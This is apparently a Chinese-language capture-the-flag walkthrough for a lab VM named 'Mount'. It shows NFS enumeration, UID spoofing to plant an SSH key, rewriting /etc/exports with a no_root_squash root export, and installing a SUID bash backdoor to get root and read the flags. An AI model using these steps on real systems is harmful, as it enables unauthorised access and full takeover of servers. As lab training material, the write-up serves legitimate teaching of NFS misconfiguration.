Mount by Aristore

信息收集

```
┌──(root㉿kali)-[~]
└─# arp-scan -l | grep PCS
192.168.5.199   08:00:27:11:e6:39       PCS Systemtechnik GmbH


┌──(root㉿kali)-[~]
└─# IP=192.168.5.199
```

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -A $IP -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 00:35 EDT
Nmap scan report for Mount.lan (192.168.5.199)
Host is up (0.0029s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
79/tcp   open  finger  OpenBSD fingerd (ported to Linux)
| finger: \x0D
| Welcome to Linux version 4.19.0-27-amd64 at Mount !\x0D
|
|  00:35:42 up 1 min,  0 users,  load average: 0.00, 0.00, 0.00
| \x0D
|_No one logged on.\x0D
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      44717/udp6  mountd
|   100005  1,2,3      46083/tcp   mountd
|   100005  1,2,3      55919/tcp6  mountd
|   100005  1,2,3      58784/udp   mountd
```

```
|   100021  1,3,4      40089/tcp   nlockmgr
|   100021  1,3,4      41569/tcp6  nlockmgr
|   100021  1,3,4      44833/udp6  nlockmgr
|   100021  1,3,4      52508/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs     3-4 (RPC #100003)
MAC Address: 08:00:27:11:E6:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: Host: Mount; OSs: Linux, Linux 4.19.0-27-amd64; CPE:
cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:4.19.0-27-amd64

TRACEROUTE
HOP RTT     ADDRESS
1   2.91 ms Mount.lan (192.168.5.199)

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.51 seconds
```

靶机开放了 NFS 服务，结合靶机名字 `Mount` 不难猜到要从这里入手，先尝试挂载到本地

```
┌──(root㉿kali)-[~]
└─# showmount -e $IP
Export list for 192.168.5.199:
/home/ll104567 *


┌──(root㉿kali)-[~]
└─# mkdir /mnt/mount_nfs


┌──(root㉿kali)-[~]
└─# sudo mount -t nfs $IP:/home /mnt/mount_nfs


┌──(root㉿kali)-[~]
└─# ls -la /mnt/mount_nfs
总计 12
drwxr-xr-x 4 root root 4096  8月20日 23:59 .
drwxr-xr-x 4 root root 4096  9月10日 00:38 ..
drwx------ 2 6666 6666 4096  8月20日 23:45 ll104567
```

- **drwx------**: 这是目录的权限。rwx 表示所有者有读、写、执行（进入目录）的权限。后面的 --- 和 --- 表示用户组和其他人（others）没有任何权限。
- **6666 6666**: 这是文件所有者的 UID 和 GID。在目标系统上，用户 ll104567 的 UID 是 6666。

由于目录权限设置为只有 UID 6666 才能访问，因此接下来需要欺骗NFS服务器，让它认为我就是UID为6666的那个用户。

清理并重新挂载，在Kali上创建UID为 6666 的用户，切换到新用户并访问目录：

```
┌──(root㉿kali)-[~]
└─# sudo umount /mnt/mount_nfs


┌──(root㉿kali)-[~]
└─# sudo mount -t nfs $IP:/home/ll104567 /mnt/mount_nfs


┌──(root㉿kali)-[~]
└─# sudo useradd -u 6666 hacker


┌──(root㉿kali)-[~]
└─# su hacker
$ id
uid=6666(hacker) gid=6666(hacker) 组=6666(hacker)
$ cd /mnt/mount_nfs
$ ls -la
总计 20
drwx------ 2 hacker hacker 4096  8月20日 23:45 .
drwxr-xr-x 4 root   root   4096  9月10日 00:38 ..
-rw-r--r-- 1 hacker hacker  220 2019年 4月18日 .bash_logout
-rw-r--r-- 1 hacker hacker 3526 2019年 4月18日 .bashrc
-rw-r--r-- 1 hacker hacker  807 2019年 4月18日 .profile
$
```

先生成SSH密钥对：

```
┌──(root㉿kali)-[~]
└─# ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519):
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:p/bnLOi/tKWgQVjHULuambXlkFCpgcmSNEpphqU3ubQ root@kali
The key's randomart image is:
+--[ED25519 256]--+
| ooooo o..o.     |
|.o+oo.+ .+..     |
|.o*  .  oo+      |
| o +   o.o o     |
|  E   . S * .    |
|       . O.=     |
|        O.ooo .  |
```

```
|        . +.o++    |
|         . .o=+.   |
+----[SHA256]-----+

┌──(root㉿kali)-[~]
└─# cp ~/.ssh/id_ed25519.pub /tmp/mykey.pub
```

回到挂载了 NFS 目录的那个 hacker 用户 shell，创建 .ssh 目录并设置权限，然后把公钥写入 authorized_keys 文件并设置权限：

```
$ cd /mnt/mount_nfs
$ mkdir .ssh
$ chmod 700 .ssh
$ cat /tmp/mykey.pub > .ssh/authorized_keys
$ chmod 600 .ssh/authorized_keys
```

使用SSH登录：

```
┌──(root㉿kali)-[~]
└─# ssh -i ~/.ssh/id_ed25519 ll104567@$IP
Linux Mount 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 20 23:46:24 2025 from 192.168.3.94
ll104567@Mount:~$ id
uid=6666(ll104567) gid=6666(ll104567) groups=6666(ll104567)
ll104567@Mount:~$ pwd
/home/ll104567
```

提权

收集信息寻找提权途径，先检查当前用户的 `sudo` 权限：

```
ll104567@Mount:~$ sudo -l
Matching Defaults entries for ll104567 on Mount:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ll104567 may run the following commands on Mount:
    (ALL) NOPASSWD: /sbin/reboot
```

`ll104567` 用户可以无密码以 `root` 权限执行 `/sbin/reboot` 命令。

单纯的重启无法提权，需要结合其他漏洞。联想到之前获取用户权限时利用了 NFS 服务，可以检查是否有权限配置不当的文件，特别是与服务相关的配置文件。

```
ll104567@Mount:~$ find /etc -writable -type f 2>/dev/null
/etc/exports
```

发现 NFS 的配置文件 `/etc/exports` 对当前用户可写。

提权思路：

1. 向 `/etc/exports` 文件中写入一条新规则，将靶机的根目录 (`/`) 以 `no_root_squash` 选项共享出来
2. 利用 `sudo /sbin/reboot` 权限重启靶机，使新的 NFS 配置生效
3. 在攻击机上挂载靶机的根目录，此时由于 `no_root_squash` 选项，我们在攻击机上的 `root` 用户将等同于靶机上的 `root` 用户
4. 在挂载的目录中植入一个 SUID 后门
5. 登录靶机，执行后门，获取 `root` 权限

在靶机上修改 `/etc/exports` 文件，并重启服务：

```
ll104567@Mount:~$ echo '/ *(rw,sync,no_root_squash)' >> /etc/exports
ll104567@Mount:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/ll104567 *(rw,sync,root_squash,no_subtree_check)
/ *(rw,sync,no_root_squash)
ll104567@Mount:~$ sudo /sbin/reboot
```

等靶机重启后回到 Kali 攻击机，检查新的 NFS 共享：

```
┌──(root㉿kali)-[~]
└─# showmount -e $IP
Export list for 192.168.5.199:
/              *
/home/ll104567 *
```

可以看到根目录 `/` 已经成功共享，把它挂载到本地：

```
┌──(root㉿kali)-[~]
└─# mkdir -p /mnt/target_root

┌──(root㉿kali)-[~]
└─# mount -t nfs $IP:/ /mnt/target_root

┌──(root㉿kali)-[~]
└─# ls -la /mnt/target_root
```

```
总计 84
drwxr-xr-x 18 root root  4096  3月18日 20:37 .
drwxr-xr-x  5 root root  4096  9月10日 04:43 ..
lrwxrwxrwx  1 root root     7  3月18日 20:26 bin -> usr/bin
drwxr-xr-x  3 root root  4096  3月18日 21:17 boot
drwxr-xr-x  4 root root  4096  3月18日 20:26 dev
drwxr-xr-x 85 root root  4096  9月10日 04:37 etc
drwxr-xr-x  4 root root  4096  8月20日 23:59 home
lrwxrwxrwx  1 root root    31  3月18日 20:37 initrd.img -> boot/initrd.img-4.19.0-27-amd64
lrwxrwxrwx  1 root root    31  3月18日 20:27 initrd.img.old -> boot/initrd.img-4.19.0-21-
amd64
lrwxrwxrwx  1 root root     7  3月18日 20:26 lib -> usr/lib
lrwxrwxrwx  1 root root     9  3月18日 20:26 lib32 -> usr/lib32
lrwxrwxrwx  1 root root     9  3月18日 20:26 lib64 -> usr/lib64
lrwxrwxrwx  1 root root    10  3月18日 20:26 libx32 -> usr/libx32
drwx------  2 root root 16384  3月18日 20:26 lost+found
drwxr-xr-x  3 root root  4096  3月18日 20:26 media
drwxr-xr-x  2 root root  4096  3月18日 20:26 mnt
drwxr-xr-x  2 root root  4096  4月 1日 08:59 opt
drwxr-xr-x  2 root root  4096 2022年 9月 3日 proc
drwx------  6 root root  4096  8月21日 00:04 root
drwxr-xr-x  2 root root  4096  3月18日 20:40 run
lrwxrwxrwx  1 root root     8  3月18日 20:26 sbin -> usr/sbin
drwxr-xr-x  2 root root  4096  3月18日 20:26 srv
drwxr-xr-x  2 root root  4096 2022年 9月 3日 sys
drwxrwxrwt 10 root root  4096  9月10日 04:39 tmp
drwxr-xr-x 14 root root  4096  4月 1日 09:36 usr
drwxr-xr-x 12 root root  4096  4月 1日 10:05 var
lrwxrwxrwx  1 root root    28  3月18日 20:37 vmlinuz -> boot/vmlinuz-4.19.0-27-amd64
lrwxrwxrwx  1 root root    28  3月18日 20:27 vmlinuz.old -> boot/vmlinuz-4.19.0-21-amd64
```

植入 SUID 后门，复制靶机自己的 `bash`：

```
┌──(root㉿kali)-[~]
└─# cp /mnt/target_root/bin/bash /mnt/target_root/tmp/rootbash

┌──(root㉿kali)-[~]
└─# chmod u+s /mnt/target_root/tmp/rootbash

┌──(root㉿kali)-[~]
└─# ls -la /mnt/target_root/tmp/rootbash
-rwsr-xr-x 1 root root 1298416  9月10日 04:43 /mnt/target_root/tmp/rootbash
```

可以看到 `s` 权限位已成功添加，卸载挂载，重新登录靶机执行后门：

```
┌──(root㉿kali)-[~]
└─# ssh -i ~/.ssh/id_ed25519 ll104567@$IP
Linux Mount 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 10 04:44:54 2025 from 192.168.5.153
ll104567@Mount:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=6666(ll104567) gid=6666(ll104567) euid=0(root) groups=6666(ll104567)
rootbash-5.0# whoami
root
```

成功获取 `root` 权限

```
rootbash-5.0# cat /home/guest/user.txt
flag{user-60b725f10c9c85c70d97880dfe8191b3}
rootbash-5.0# cat /root/root.txt
flag{root-a8a78d0ff555c931f045b6f448129846}
```